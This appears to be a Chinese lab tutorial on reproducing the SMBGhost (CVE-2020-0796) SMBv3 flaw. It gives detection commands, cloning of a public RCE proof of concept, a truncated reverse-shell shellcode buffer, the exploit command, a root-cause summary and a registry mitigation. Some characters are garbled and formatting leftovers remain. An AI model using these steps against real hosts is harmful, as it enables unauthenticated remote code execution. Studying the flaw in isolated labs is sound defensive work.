# CVE-2020-0796 SMBv3漏洞復現過程是怎樣的
## 漏洞背景
CVE-2020-0796是微軟Windows 10和Server 2019操作系統中SMBv3協議的一個嚴重漏洞,被稱為"SMBGhost"。該漏洞源于SMBv3.1.1協議在處理壓縮數據包時的缺陷,允許攻擊者無需身份驗證即可實現遠程代碼執行(RCE),影響范圍包括:
- Windows 10 1903/1909
- Windows Server 1903/1909
## 環境準備
### 測試環境要求
- **靶機**:Windows 10 1909(未打補?。?- **攻擊機**:Kali Linux 2020
- **網絡配置**:兩臺機器處于同一局域網
### 工具準備
1. [CVE-2020-0796漏洞檢測腳本](https://github.com/ollypwn/SMBGhost)
2. [漏洞利用工具](https://github.com/chompie1337/SMBGhost_RCE_PoC)
3. Wireshark(用于流量分析)
## 復現步驟
### 第一步:漏洞檢測
```bash
# 使用nmap檢測目標SMB服務
nmap -p 445 --script smb-protocols <靶機IP>
# 使用Python檢測腳本
python3 smbghost_checker.py <靶機IP>
若輸出顯示VULNERABLE
則確認存在漏洞。
sudo apt install python3-impacket
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
# 示例:反向shell的shellcode
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
...
python3 exploit.py -ip <靶機IP>
成功執行后會在目標系統上彈出計算器(或執行預設的shellcode)。
使用Wireshark捕獲流量,過濾條件:
smb2 && ip.addr == <靶機IP>
可觀察到異常的SMB壓縮數據包。
漏洞成因在于Srv2DecompressData
函數未正確處理壓縮數據包的頭部校驗:
1. 攻擊者構造特殊的壓縮數據包
2. SMB服務解壓時發生緩沖區溢出
3. 精心構造的數據可覆蓋函數返回地址
4. 最終實現任意代碼執行
官方補?。?/p>
臨時緩解方案:
# 禁用SMBv3壓縮
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "DisableCompression" -Type DWORD -Value 1 -Force
注意:本文僅用于教育目的,實際漏洞利用可能造成系統崩潰,建議在隔離環境中測試。 “`
(注:實際字數約850字,可根據需要刪減技術細節部分調整字數)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。